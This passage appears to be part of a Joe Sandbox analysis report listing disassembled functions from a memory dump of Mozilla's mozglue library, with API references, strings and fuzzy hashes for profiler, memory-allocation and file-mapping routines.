Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35EC8C

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35ECA1
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C35ECC5
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C35ED19
CloseHandle.KERNEL32(?), ref: 6C35ED28
free.MOZGLUE(00000000), ref: 6C35ED2F
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C35EC94

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d514bac5693454cf8c9e955d908541617664d240268e2b3d6ee48ba80016cdc1
Instruction ID: 190af469fb5089c7a7cc86ddb3a2ff863b6183824ab0cd56eb21a261967f407c
Opcode Fuzzy Hash: d514bac5693454cf8c9e955d908541617664d240268e2b3d6ee48ba80016cdc1
Instruction Fuzzy Hash: 5021E5B5600214AFDF009F64D804EAA777DEF4A26DF504211FC199B740EB3AAC25CFA2

Function 6C358ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C31EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C31EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C35B392,?,?,00000001), ref: 6C3591F4

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Strings

timeline-overview, xrefs: 6C35907A
marker-table, xrefs: 6C35906C
timeline-ipc, xrefs: 6C359096
data, xrefs: 6C3590E8
timeline-memory, xrefs: 6C359088
stack-chart, xrefs: 6C3590B2
timeline-fileio, xrefs: 6C3590A4
marker-chart, xrefs: 6C35905E
name, xrefs: 6C358F16

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a2402b3b37200bc02cc7d77039c328e814cea8c9574498a0cc37962ed68f0adf
Instruction ID: 8889775fbf7fa517ae3e0b63d1b14bf4f9e2fc54403313d280a1407932b11b95
Opcode Fuzzy Hash: a2402b3b37200bc02cc7d77039c328e814cea8c9574498a0cc37962ed68f0adf
Instruction Fuzzy Hash: D0B1C4B4A012099BDF08CF54C891BEEBBB9EF89318F504419D502ABF80D7769A55CFE1

Function 6C33C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C33C5A3
WideCharToMultiByte.KERNEL32 ref: 6C33C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C33C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C33CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C33CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C33CAA5

Strings

(null), xrefs: 6C33C596
0, xrefs: 6C33D30A

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 329b18cebe3cdb757ed4f8928d2d18fbda28e14fbd491d1818379d056c4e6e58
Instruction ID: 0e60dab47384d3ed46261b1dd2fbf19fae88758d94adcc4342f9b9696311a268
Opcode Fuzzy Hash: 329b18cebe3cdb757ed4f8928d2d18fbda28e14fbd491d1818379d056c4e6e58
Instruction Fuzzy Hash: 19A1AC306083A18FDB00DF29D58875ABBE5AF89758F049A2DE88AD7641D732DC05CF92

Function 6C33C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C33C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C33C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C33C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C33C891

Strings

NAN, xrefs: 6C33C7AD
nan, xrefs: 6C33C7A8
inf, xrefs: 6C33C78F
INF, xrefs: 6C33C794

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 518dd4acc6472918e09d747834aeec8d728d442a129f6ed82e546cc1d6cf5675
Instruction ID: 117664007f0286d1769718fff13392867decdaa595db898db80728e2df3a6ddc
Opcode Fuzzy Hash: 518dd4acc6472918e09d747834aeec8d728d442a129f6ed82e546cc1d6cf5675
Instruction Fuzzy Hash: 4A51B4719087908BD700EF2CD48129AFBF4BF8A308F009A2DE9D9A7651E771D9858F53

Function 6C313480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C313492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C3134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C3134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C31350E
__Init_thread_footer.LIBCMT ref: 6C313522
__aulldiv.LIBCMT ref: 6C313552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C31357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C313592

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C313508
kernel32.dll, xrefs: 6C3134EA

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 0eddb771d27792fb7697e4c2b25200ee98dc389f26730b3aab78651afe1d21a9
Instruction ID: 6c3f344823e420a1ddd0cb0ff53398ecf8caf54bcc26baae5f1a6ddc04b2f1de
Opcode Fuzzy Hash: 0eddb771d27792fb7697e4c2b25200ee98dc389f26730b3aab78651afe1d21a9
Instruction Fuzzy Hash: 9431AF71F0020A9FDF14DFB9D848AAA77BDFB49708F104029E601A7A50FB76A904CF61

Function 6C314480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C354843,?), ref: 6C3145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C354843,?), ref: 6C31468A
free.MOZGLUE(?,?,?,?,?,?,6C354843,?), ref: 6C3146C9
free.MOZGLUE(?), ref: 6C3146EF
free.MOZGLUE(?), ref: 6C314712
free.MOZGLUE(?), ref: 6C314735
free.MOZGLUE(?), ref: 6C314758
free.MOZGLUE(?), ref: 6C31477B
free.MOZGLUE(?), ref: 6C31479E

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: f1ead27c6a432826dc49cd8720b75d7cf589180d92d8cccd7ef205222e8c922b
Instruction ID: 5ee13308d0121941bee381ee34583acc5ab6ad2239753d4e058a82e9addaca5d
Opcode Fuzzy Hash: f1ead27c6a432826dc49cd8720b75d7cf589180d92d8cccd7ef205222e8c922b
Instruction Fuzzy Hash: 94B1E372A081518FDB1C9E3CD89076D76A6AF4232CF184629E466DFFC6D732D8408F92

Function 6C37AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C37AC52
CreateFileMappingW.KERNEL32 ref: 6C37AC7D
GetSystemInfo.KERNEL32 ref: 6C37AC98
MapViewOfFile.KERNEL32 ref: 6C37ACB0
GetSystemInfo.KERNEL32 ref: 6C37ACCD
MapViewOfFile.KERNEL32 ref: 6C37AD05
UnmapViewOfFile.KERNEL32 ref: 6C37AD1C
CloseHandle.KERNEL32 ref: 6C37AD28
UnmapViewOfFile.KERNEL32 ref: 6C37AD37
CloseHandle.KERNEL32 ref: 6C37AD43
CloseHandle.KERNEL32 ref: 6C37AD67

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 79615e1cf0dfdab09ed7b884edad13edc6ff364d093ad8f26da2f0dfc7058ab3
Instruction ID: d7144145339f1e6d6ab4c20f4eb1bc4318d25c8ebbd52a84934718c4ec881c4a
Opcode Fuzzy Hash: 79615e1cf0dfdab09ed7b884edad13edc6ff364d093ad8f26da2f0dfc7058ab3
Instruction Fuzzy Hash: 27316FB1A047048FDB10FF78D64826EBBF8BF85319F01892DE98597211EB759448CB92

Function 6C329620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C329675
__Init_thread_footer.LIBCMT ref: 6C329697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C3296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C329707
__Init_thread_footer.LIBCMT ref: 6C32971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329773

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C3297B7
FreeLibrary.KERNEL32 ref: 6C3297D0
FreeLibrary.KERNEL32 ref: 6C3297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C329670
NtMapViewOfSection, xrefs: 6C329701
MapViewOfFileNuma2, xrefs: 6C3297B1
ntdll.dll, xrefs: 6C3296E3

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 08a7c7736d0b42845566a0c951a07d41a33562b85447a8a92f1b6e9d5ead5160
Instruction ID: f63a5aa932b7910d252d0aae09dd38f3404c754ba53c40d069741cdddfb4203a
Opcode Fuzzy Hash: 08a7c7736d0b42845566a0c951a07d41a33562b85447a8a92f1b6e9d5ead5160
Instruction Fuzzy Hash: 79415D75B003059BDF00DFA9E884A9A77B8EB4D3A8F104529FD5597740E736A814CFA1

Function 6C360000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C360039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C360041
GetCurrentThreadId.KERNEL32 ref: 6C360075
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C360082
moz_xmalloc.MOZGLUE(00000048), ref: 6C360090
free.MOZGLUE(?), ref: 6C360104
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C36011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C36005B

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: e39efd33e8f29148c408e0f91df0545e4389c5868638da82e87f268b6b159dfd
Instruction ID: 0ed58c4f2fef29d49a96b4c393eb736b9b4bd1848d752e49749f2927d62e897e
Opcode Fuzzy Hash: e39efd33e8f29148c408e0f91df0545e4389c5868638da82e87f268b6b159dfd
Instruction Fuzzy Hash: 1241A0B65003449FCB10CF65C841A9ABBF5FF49318F40491DE99A87B40E732B815CF96

Function 6C327E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C327EA7
malloc.MOZGLUE(00000001), ref: 6C327EB3

Part of subcall function 6C32CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C32CB49
Part of subcall function 6C32CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C32CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C327EC4
mozalloc_abort.MOZGLUE(?), ref: 6C327F19
malloc.MOZGLUE(?), ref: 6C327F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C327F4D

Strings

d, xrefs: 6C327F89

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: d31150e0afc9bbbe56fbcc41738b169183d63b26faf9a6d120a8585e60632baa
Instruction ID: 1fa4253cd4f2b5ea309a1e41061b928f97e14192273ffba3b01434dc9e5a0bba
Opcode Fuzzy Hash: d31150e0afc9bbbe56fbcc41738b169183d63b26faf9a6d120a8585e60632baa
Instruction Fuzzy Hash: 10310761E0434997DF009B68DC049FEB77CFF96218F049229DD8957612FB31A588C791

Function 6C323E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C323EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C323FDC
RtlAllocateHeap.NTDLL ref: 6C324006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C3240A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C323CCC), ref: 6C3240AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C323CCC), ref: 6C3240C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C324134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C323CCC), ref: 6C324143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C323CCC), ref: 6C324157

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 75e825f2265885c0d5f69ed37c49df51c2f8b48d661c566cd73fc423d05baaf0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: A9A18EB1A00215CFDB50CF68D880699F7B9FF48318F258599D909AF742D776E886CFA0

Function 6C312030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C333F47,?,?,?,6C333F47,6C331A70,?), ref: 6C31207F
memset.VCRUNTIME140(?,000000E5,6C333F47,?,6C333F47,6C331A70,?), ref: 6C3120DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C333F47,6C331A70,?), ref: 6C31211A
EnterCriticalSection.KERNEL32(6C39E744,?,6C333F47,6C331A70,?), ref: 6C312145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C333F47,6C331A70,?), ref: 6C3121BA
EnterCriticalSection.KERNEL32(6C39E744,?,6C333F47,6C331A70,?), ref: 6C3121E0
LeaveCriticalSection.KERNEL32(6C39E744,?,6C333F47,6C331A70,?), ref: 6C312232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C312253, 6C312268
MOZ_CRASH(), xrefs: 6C31227D

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 97b0bf933cca60b0c48442f0fbe909fb3745c5a922b5f7f3b40a5ae6f270d442
Instruction ID: fb63803ff7b9bb34fdf301260f3b679a43efa881edd17b5260186a18cc38ad02
Opcode Fuzzy Hash: 97b0bf933cca60b0c48442f0fbe909fb3745c5a922b5f7f3b40a5ae6f270d442
Instruction Fuzzy Hash: 1E61C632F042168FCB08CE69CA8976E76B5AF86318F254235E564A7E94E7739C04CFD1

Function 6C369D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C368273), ref: 6C369D65
free.MOZGLUE(6C368273,?), ref: 6C369D7C
free.MOZGLUE(?,?), ref: 6C369D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C369E0F
free.MOZGLUE(6C36946B,?,?), ref: 6C369E24
free.MOZGLUE(?,?,?), ref: 6C369E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C369EC8
free.MOZGLUE(6C36946B,?,?,?), ref: 6C369EDF
free.MOZGLUE(?,?,?,?), ref: 6C369EF5

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: dd2841fed9c8b8ff632a6ca32af7f31dcfa0274c3a2bae8ac7cc1d0aef459a24
Instruction ID: de700def9e4a802d180e14dbfea6ac3b2dbacf25c9729345fa1ec557044771ea
Opcode Fuzzy Hash: dd2841fed9c8b8ff632a6ca32af7f31dcfa0274c3a2bae8ac7cc1d0aef459a24
Instruction Fuzzy Hash: D2719EB0909B818BC712CF19C48059BF3F4FF99325B449619E89E9BB05EB31E885CF91

Function 6C36DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C36DDCF

Part of subcall function 6C34FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C34FA4B

Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C3690FF
Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C369108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DE0D
free.MOZGLUE(00000000), ref: 6C36DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DEA3
